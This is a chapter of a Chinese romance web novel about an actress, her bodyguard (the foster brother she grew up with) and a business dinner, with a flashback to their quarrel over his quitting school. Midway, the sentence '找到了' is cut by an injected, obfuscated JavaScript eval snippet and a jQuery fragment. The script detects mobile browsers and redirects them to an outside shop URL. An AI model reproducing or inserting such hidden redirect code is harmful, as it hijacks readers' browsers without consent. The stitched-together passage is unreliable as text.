程谦敲击窗沿的动作停了下来，他看着柏闻，柏闻也看着他。
车内本就微妙的气氛再次加码，柏闻的目光里甚至带了点求知的礼貌笑意，程谦反倒无话可说。
黎宴没想到最后她还得替程谦找补，正思考体面而不失亲切的话术时，一辆摩托车突然从前方变道，距离极近，她只能猛地先踩刹车——
刺耳的摩擦声里，车身剧烈前冲又顿住。巨大的惯性下，程谦整个人狠狠向前栽去，额头险些撞上主驾驶的头枕。好在他反应够快稳住了身体，第一反应抬头急问：“没事吧黎宴？！”
话音未落，他就看见了眼前一幕。
主驾驶旁，柏闻不知何时已经探身越过，手掌稳稳托住了黎宴的下巴。他的手掌宽大，几乎能完全包裹住她的下半张脸，力道精准地控住了她前冲的势头，也减缓了她后仰磕到头的可能。而他却因动作太急，整片右肩重重撞上了车顶。
一瞬间的反应……
“她没事。”
柏闻替黎宴答，语气理所当然。他将手撤回，指尖不经意擦过黎宴敏感的耳垂，看得出是意外，两个人都微微一颤。
程谦尽收眼底。
他靠回椅背，整理了下并未凌乱的衬衫袖口：“没事就好。”
柏闻也坐了回去，手臂重新抱在胸前。所幸只是急刹，并没有造成车祸。黎宴定了定神，再次发动车辆，这才有机会询问两人的情况。
“你们没事吧？”
“没事。”
两个男人异口同声，互相扫了一眼，又各自扭头。沉默再次席卷车内，并且一路无声，直到黎宴将车停在市中心那家日料餐厅的门口。
下车时，程谦占据座位优势，先一步为黎宴拉开车门。她道了声谢，程谦转头，却见柏闻也从后排走了下来。
见他往餐厅里走，程谦双手插进西裤口袋，脸上挂着没温度的微笑：“柏队，车可以交给他们泊，你这是……”他开始斟酌用词。
“需要在别处安排就餐吗？”
意思很明显了。
黎宴同样好奇地看向柏闻，谁知他接过服务生递还的泊车牌，随手揣进口袋，淡定从容。
“我来消费。”
他径直朝店内走去，身影很快被门帘吞没。程谦不动声色吸了口气，转头时却见黎宴一脸微笑，便也重新挂上几分绅士的笑意。
“请。”
两人前后走进大厅，穿和服的服务生引他们穿过庭院。黎宴不着痕迹地环视周围，没发现柏闻的身影。这家日料餐厅有上下三层，不知道柏闻会在哪里用餐。
进入包厢落座后，服务生斟好茶水，程谦轻抿一口，对黎宴道。
“你的保镖很尽责，不过是不是盯得太紧了？”
他的言外之意是没什么边界感，黎宴装没听懂，笑了笑：“证明我钱没白花嘛。”
程谦觉得黎宴也是个说话很有意思的人，不置可否地点了下头：“这倒是。”
很快，服务生开始上菜，刺身的摆盘十分精致，说是艺术品也不为过。程谦用公筷夹了片金枪鱼大腹，轻轻放入黎宴面前的碟子。
“尝尝，他们家的鱼生是每天从海滨渔场直送的。”
“谢谢程总。”黎宴保持客气，夹起鱼片蘸了点酱油，能尝到肉质十分绵软鲜甜，确实不错。
两人边吃边聊，从新戏的合作意向开始，话题从日料食材转到新上映的电影，又聊到东南亚本土的艺术发展与人文风情。不得不说，程谦的知识面很广，风趣幽默，尤其会逗女孩子开心，时不时引得黎宴笑出声。
不过这些笑其实也真假参半，黎宴的注意力一直不太集中。
她偶尔会将目光投向包厢门口，耳朵也仔细留意着外面的动静。她没听见柏闻的声音，不知道他吃饭了没有，坐在哪个位置？这家店的消费很高，虽然她清楚他如今的收入不菲，可又担心他节俭惯了，会不会随便凑合……
“黎宴？”程谦的声音传来。
她回神：“抱歉，昨晚休息得不太好，刚才说到哪儿了？”
程谦看着她，目光里有些探究：“说到你去年拍的那部年代戏，我看过几集你的cut，哭戏很有感染力。”
黎宴听他谬赞，也没隐瞒：“其实那场戏拍了很多遍，导演一直说情绪不够痛，达不到直击心灵的效果。”
“哦？”程谦没想到背后还有这么一段，“但成片的效果很好，你最后是怎么找到感觉的？”
黎宴被这话问得一顿，想起片场那天发生的事，淡淡苦笑了句。
“当时被NG逼得没办法，只能去想生活中发生过的事情。最后想到的，大概就是我生命里最重要的那个人，第一次在我面前哭了。”
话音落下，隔壁包厢忽然传来杯子摔落的动静。
柏闻维持着去捡的姿势，整个人僵在原地。
程谦的声音自隔壁响起：“能造成这么深刻的情感体验，我猜你那时年龄不大？”
黎宴坦然承认：“对。”
可柏闻却听见她下一句说。
“我们那会儿都不大。”
一墙之隔，两人的记忆悄然无声地重合，再次被拉回到那条共同的轨道。
那场争吵发生在一个静谧的夜。
破旧的出租屋里，风扇吱呀作响，柏闻将被黎宴翻出来的退学同意书揉成团，扔进楼下垃圾场，声音平静得可怕。
“学校盖章的那一刻它就有了效力，我明天就去工地报到。”
黎宴想起刚才看见的那张纸，仿佛不认识上面的字，看向柏闻的目光几乎要迸出火星。
“不是说只是暂时休学吗？为什么是退学！这么大的事你问过我了吗？你一个人就决定了？！”
“不需要问你。”
柏闻转身去收拾摊在床上的那几本专业书，反正以后也用不到了，不如捆在一起卖废品，边收拾边说。
“爷爷下个月的手术费还差两万，特殊护工的费用，你的学费，我们的生活费，房租水电……宴宴，我们没得选。”
“怎么没得选？”黎宴站起来，嗓音拔高。
“我也可以退学！我成绩没你好，你都退学了，我退学也不可惜！我们一起去打工，来钱更快！”
“宴宴，听话。”柏闻转过身，扶着她的肩膀哄。
“你十六岁，才高二，人生还没开始。你一定要好好念书考大学，不一定要考很好的大学，只是这个社会对女孩子并不宽容，一定要有个学历，明白吗？”
“我不听！”黎宴梗着脖子，泪水在眼眶里打转，愣是倔强得没让它掉下来。
“凭什么就你一个人扛？我不是这个家的人吗？爷爷奶奶还有你，难道没照顾过我吗？你退学了我也要退，你不让我退学我就不去学校了……我绝食！你看着办吧！”
“黎宴！”柏闻第一次连名带姓地吼她。
“我再说一遍，你给我老老实实去上学！钱的事不用你操心！”
“我就不！”
那是他们十几年来第一次吵得这么凶，被厄难和贫穷压抑了太久，绝望和焦虑像找到出口的岩浆，喷薄而出后便灼伤了彼此。黎宴把书包砸在地上，柏闻气得肩膀直抖。最后她摔门冲进夜色，他在屋里站了很久很久，后来蹲下去，一本一本捡起她的书，重新装回了书包。
第二天一早，柏闻以为黎宴会犟，已经做好了二次冲突的准备。没想到她背着书包按时出门上学，只是一句话都不和他说。
他松了口气，以为她听话了。后来的几天，他比平时更早出门，接了三个零工，从每天早上六点忙到凌晨一点，经常只用冷馒头就把饭对付了。他盘算着省下来的钱，至少能保证黎宴的饮食。学校的饭菜便宜但她挑食，不喜欢的食物吃了就会生理性呕吐，时间长了怕她营养不良。
直到半个月后的早上，柏闻在工地加了一晚上班，拖着快要散架的身体回到出租屋。刚一躺下，黎宴的班主任就给他打来了电话。
“是黎宴的哥哥吗？黎宴的病怎么样了？太久不来学校，课业也是会跟不上的，我很担心她的情况……”
柏闻握着手机，耳边嗡嗡作响。
班主任后来说了什么，他完全没听进去，只说了句谢谢老师便挂了电话，立刻给黎宴打。
一遍，不接。
两遍，直接挂断。
三遍，关机。
柏闻在狭窄的出租屋里转了两圈，最后猛地抓起钥匙冲出门。他先跑去学校附近她常去的小书店，奶茶店，没有。他又沿着她放学回来的路线找，问街边摆摊的摊主，都说没看见。他想起片区内招兼职的那几家快餐店，一家一家找过去，得到的都是摇头。
天色一点点暗下来，晚高峰的车流喧嚣而至。柏闻站在十字路口，看着四面八方涌来的人潮，第一次感受到那种窒息的绝望。
宴宴去哪了？她身上没多少钱，能去哪里？会不会出事？
这时，一个可怕的念头闪过，她会不会去找她那个消失多年的妈妈？
这么多年，柏家人一直很少在黎宴面前提起她的生母，他也一样，所以至今不清楚黎宴对生母的感情如何。她已经走了吗？她到底在哪？
柏闻强迫自己冷静下来，重新梳理了一遍。宴宴倔，但不会做太出格的事。她说不让她退学，她就不去学校了……对！肯定和这个有关，可她到底会去哪里弄钱？
突然，柏闻脑子里闪过一个地方。前段时间他接她下晚自习，那张招工表就贴在电线杆上，她当时看过一眼。
柏闻的心被狠狠攥了一下，立刻拔腿就跑。
他是在黄昏时分找到那家小餐馆的。
巷子深处，油腻的霓虹灯招牌在暮色里亮起。他隔着满是油污的窗玻璃，一眼就看见了后厨里那个熟悉的身影。
黎宴系着脏兮兮的围裙，袖子卷到手肘，正埋在一座摇摇欲坠的碗盘小山后面。大水盆里泡沫横溢，她努力地刷洗、冲水、摞起，脸颊上还沾着一点泡沫，最爱惜的那双白鞋子踩在脏水里。
柏闻推门进去，后厨闷热的空气里混杂着还没处理的泔水味。身后的老板娘忙着算账，头也不抬地嚷嚷：“新来的！那什么宴，六号桌要上菜了，盘子洗快点！”
黎宴含糊地应了一声，手上动作更快。直到一个高大的影子笼罩下来，挡住了头顶摇晃的白炽灯泡光线。
黎宴先是看见那双熟悉的运动鞋，浑身一僵，慢慢抬起头。
四目相对。
一瞬间，她的脸上闪过惊慌，心虚，又立刻被一层带刺的倔强覆盖。她挺直脊背，一贯地扬起下巴，一副“你看见了，我就这样，你能拿我怎么办”的模样。她害怕柏闻又要和她吵架，甚至抢先开口：“怎么，你来抓我回去？我就不……”
她的话戛然而止。
因为柏闻并没有说话，也没有她想象中的愤怒，斥责。他就那样静静站着，那双总是沉稳或带着笑意的眼睛，此刻只是深深望着她，望进她用倔强藏起来的不安里。
这样的目光，反而让黎宴心头一坠，所有准备好的辩词与呛声，全部堵在了喉咙里，让她越发慌乱。
“……哥。”她的声音弱了下去，带着点对他态度的试探。
柏闻依旧不发一言，他的视线缓缓移向她泡得发白起皱的手指，扫过她脸上的污渍，落在她身上那件沾满油污的围裙上。他的喉结极其缓慢地滚动了一下，像是用尽全力压住了什么。
然后，黎宴看见，柏闻的眼眶一点点红了。
他没有发出任何声音，只是红着眼眶，目光不瞬地看着她。直到眼眶终于承受不住重量，泪水悄无声息地砸落下来。
一颗。
又一颗。
哥哥哭了。
黎宴的大脑一片空白，为了这个家，她所有尖锐的对抗，自以为的分担，赌气的坚持，在哥哥的眼泪面前，全部被击得粉碎。她见过柏闻累到极致的样子，见过他与人争执后紧握的拳头，见过他深夜对着账单沉默的背影，但她从未见过他哭。
从未。
黎宴手足无措地站在那里，手里还抓着一个滴水的盘子。她张了张嘴，想说什么，却发现喉咙被苦涩的硬块堵得严严实实。
“我……”她发出一个脆弱的单音节。
柏闻太瘦，用手背快速抹了一把眼睛。他深吸了一口气，声音嘶哑得厉害，却竭力维持着一点安抚的意味。
“……把围裙解了。”
他说得很慢，每一个字都像是用力从喉咙里挤出来的。
“跟哥哥回家。”
黎宴的眼泪就在这时毫无预兆地冲了出来，巨大的刺痛裹挟了她的心脏。她手一松，盘子哐当一声掉进水盆。她顾不上，手忙脚乱地去解身后围裙的带子，手却发抖，几次都解不开那个死结。
柏闻上前一步，默不作声帮她解开，然后把那件脏围裙从她身上脱下来，扔在一旁的杂物堆上。
他握住她又凉又湿的手腕，带着她转身离开，也不管老板在身后怎么叫嚷，头也不回地走出了餐馆，迈进黄昏微凉的风里。
自始至终，黎宴没有再犟一句嘴。
她像一只飘摇的风筝，乖顺而茫然地被他牵着走，脸颊上还有泪在淌，她也顾不上去擦。她的目光死死聚焦在柏闻的眼角，那里还是红的，他的脸上有泪痕，她的哥哥哭过了。
那一刻起，黎宴终于有些模糊地懂了。有些担子，不是抢着扛就叫分担。她以为的共患难，对她最亲近的人来说，或许是最不能承受之重。
从那以后，黎宴回了学校，再也没提过退学两个字。
“都不大的意思是……你还有兄弟姐妹？”
程谦很会抓重点，黎宴抿了口茶，轻飘飘带过：“都过去了。”
与此同时，柏闻拾起了那个杯子，不轻不重地攥在掌心。
他没想到黎宴会将这件事记得这么久，这么深刻。然而她越是这样，他心里负罪越重，
黎宴并不知道，当年他的确哭了，他本可以在她察觉前就转身，但他让她看见了。
他了解他的妹妹，这是唯一能劝动她的办法。
她是心软的妹妹，而他是卑鄙的哥哥。
他曾以为自己永远不会为做出的任何一个决定后悔，可他没想到这件事会让她这么痛。
如果再重来一次，他会选择藏好那份退学同意书，用休学的理由将她瞒好，瞒到瞒不下去的那天。
隔壁，程谦不再追问，转而聊起别的话题。
十几分钟后，黎宴起身去洗手间。穿过走廊时，她有意放慢脚步，目光扫过两侧的包厢。门都关着，看不出这一层有没有柏闻。
在她回来时，经过隔壁半开门的包厢，她探头看，服务生挡住了里面的食客，用英文沟通着。
“先生，请问是我们的菜品哪里做得不合适吗？您的这几道菜几乎没动。”
然后是一个低沉的男声，拒绝了服务生更换菜品的提议。
黎宴停下脚步。
找
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17056054|193952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到了。
她躲在门外偷听服务生讲话：“这道山葵秋刀鱼是我们店的特色招牌，如果不是口味不合，您可以尝试一下呢。”
柏闻温和拒绝：“不用，谢谢。”
服务生又说了几句什么，黎宴没听仔细，因为她看见程谦往外探头了一眼，于是赶紧朝自己的包厢走了回去。
所幸程谦只是接电话途中随便看了一眼，并没太注意她的行为。黎宴重新落座后，程谦朝她点头示意，聊工作的语言也从原本的英语换成了听不懂的法语。黎宴看了眼隔壁的方向，抬手按下服务铃。
服务生很快进来：“请问有什么需要？”
这家店大概是英语服务，黎宴拿起菜单，翻到烤物那一页，指着一道盐烤青花鱼：“我要一份这个，烤制前米醋水不要刷太多，绝对不要撒山椒粉。”
服务生记下：“好的，请问还有别的需要吗？”
黎宴再翻了翻，指着另外几样菜品，有意压低了声音：“这几个都要，再来一杯无糖乌龙茶，全部送到隔壁包厢，给那位穿黑色衣服的先生。”
服务生面露诧异，又见黎宴一脸神秘的样子，顿时明白了七八。程谦的电话早就打完了，等服务生离开后，他才不辨情绪地开口：“你对保镖很照顾。”
黎宴不觉得有什么问题：“应该的，他今天没怎么吃东西。”
程谦没再接话，只是端起茶慢慢喝着。包厢里一时安静，只有庭院方向的人造景观里，隐约传来竹筒敲石的声音。
好一会儿，服务生端着菜品经过走廊。黎宴听见隔壁包厢开门的声音，服务生轻声说话，然后是柏闻低沉的回应。具体内容听不太清，但能大概听出柏闻似乎有些意外。
黎宴忽然就有些理解，为什么从前柏闻看见她多吃一碗饭，都会露出那种满足又骄傲的表情。她端起茶杯，借着喝茶的动作掩饰翘起的嘴角。
桌对面，程谦又将一切尽收眼底，镜片后的目光在黎宴脸上停留了片刻，忽然笑了笑。
“我其实有点好奇，柏队这样的人才，怎么会选择做安保这行？”
问题来得突然，黎宴微微抬眼。
程谦笑得意味不明，似乎斟酌着用词：“以他的能力和……外貌条件吧，应该能有更多的选择。”
嗒。
黎宴放下茶杯，瓷器在桌面发出清脆一响。
“职业选择是个人自由，外貌不过是锦上添花。无论是解决片场的斗殴，还是在雨林里从蛇口下救我，都足以体现出柏闻极高的专业水准，能进入金字塔尖的行业公司也证明了他这一点。我认为他相当优秀，这一点完全不需要怀疑。”
黎宴的语气还算平和，眼底却强硬得几乎没有温度。程谦怔愣一瞬，没想到她会如此直接地维护一个保镖。这样的态度，与前段时间那个总是周全客气的她截然不同。
当然，程谦也意识到自己那句话有些不够风度，旋即敛了笑容，没再继续这个话题。
“是我失礼了，你说得对。”
之后，两人用餐的气氛渐渐变得有些微妙。程谦有时会找话题，可黎宴的回应却比之前简短了许多。她依旧偶尔走神，默默想着柏闻现在是不是在吃那份烤鱼，茶烫不烫，他喜不喜欢……
很快，这顿饭到了尾声，程谦先一步出去接个工作电话。黎宴坐在包厢等了会儿，确认隔壁没动静了，这才起身走出。
柏闻站在庭院廊下。
他手里似乎在看什么，冷色调的柔光打在他身上，侧脸英俊又温柔。
忽然，他似有所感地抬头。
视线相接的那一刹，黎宴已经迈着轻快的步伐朝他走去：“吃饱了？”
每个字都带着邀功的得意洋洋。
“嗯，感谢款待。”他收起手里的东西，随手一起揣进裤袋。
黎宴背着手倾身，着重强调：“烤鱼还行吧？”
柏闻没立刻答，看着她的眼神深了些，尽管他们现在谈论过去并不合适，但仍忍不住问。
“你怎么知道我不吃秋刀鱼？”
黎宴轻哼一声：“就小时候我和奶奶出门那次，爷爷买了条秋刀鱼回来煮汤，你喝了一口就满屋子跑。后来爷爷跟我说，这鱼汤喝了能成仙，因为你喝了就变成美猴王，在屋里上蹿下跳的……”
那已经是很久很久之前的事了，至少是在黎宴念小学二年级的时候。那个年龄段关于她自己的事情，她都不记得了，却还记得家里唯一一次买秋刀鱼，也记得他不爱吃。
柏闻静静看着她，内心像被某种温暖的东西胀满。她正微微仰着头，讲着他人生中为数不多的糗事。她从小就被夸口才好，讲起故事来活灵活现。可他一直觉得，她那双眼睛才更会说话。尤其是像现在这样，专注而闪亮地望向他，真是漂亮得不像话。
程谦挂了电话，刚过拐角就撞见这一幕。
两人立在明月廊下，黎宴脸上是他从未见过的神情。女明星的身份似乎在这一刻离她很远，她像个不知愁的少女，一举一动都鲜活明媚。那位保镖插着口袋站在她身前，低头看着她又说又笑。廊灯的光落下来，将他们笼在一层温柔如水的光影里，仿佛整个世界都被他们拒绝在外。
程谦说不出什么滋味，忽然想让服务生给他倒杯茶来。
直到黎宴转头，目光无意落了过来，他才扬起一个体面的笑容：“都好了？走吧。”
回程路上，仍是黎宴开车。
但这一次，柏闻没给程谦机会，直接拉开副驾驶的门坐了进去，动作自然得仿佛这个位置天生就属于他。
程谦站在车外，看着那只没来得及伸出去的手，默了片刻，拉开后排车门坐了进去。
车厢内比来时更安静，直到送走程谦，再回到酒店停车场，天色已经不早了。
柏闻下车，走到主驾驶门外，朝黎宴伸手：“钥匙给我，我去还车。”
黎宴坐在驾驶位里仰头看他，在心里默数。
嗯，说话的字数变多了，还有语气助词，不错不错，有进步。
柏闻见她一脸沉思与自满，疑惑挑眉。
黎宴这才走出来：“还车？你真信呀，我骗人的。”
柏闻愣了下，旋即反应过来，忽然有种想笑的冲动，
黎宴笑眯眯靠近：“想笑就笑呗，被我骗到了吧？我的骗术是不是越来越高明了？”
柏闻避开了她的直接注视，没答，反而问了句别的：“晚饭吃什么？”
黎宴无语，请问他：“才刚吃完啊，你一点都没变的吗？怎么还和以前一样，吃完中饭就问我晚饭吃什么？”
柏闻自有一套理论：“日料不顶饿。”
黎宴翻他白眼，柏闻很有耐心地又问了一遍：“所以，晚饭吃什么？”
“你决定呗。”黎宴朝电梯厅走，脚步轻快。
“反正我喜欢吃什么你都知道。”
她留下这么一句，柏闻的目光追随着她雀跃的背影，直到她快走远，这才回神跟上脚步。
“哦，对了！”黎宴忽然转身，隔着两三辆车指着他说。
“那份烤鱼我是请你的，不是程谦请的，记得请回来。”
说完，她继续往电梯厅走。柏闻站在原地，看着她的身影渐渐消失，又想起刚才在日料店里，服务生端来那份盐烤青花鱼。
“是隔壁那位穿白色裙子的漂亮小姐特意嘱咐的，说要一份青花鱼，烤制前米醋水不要刷太多，您也不吃山椒粉。”
柏闻垂眸，很轻地笑了一声。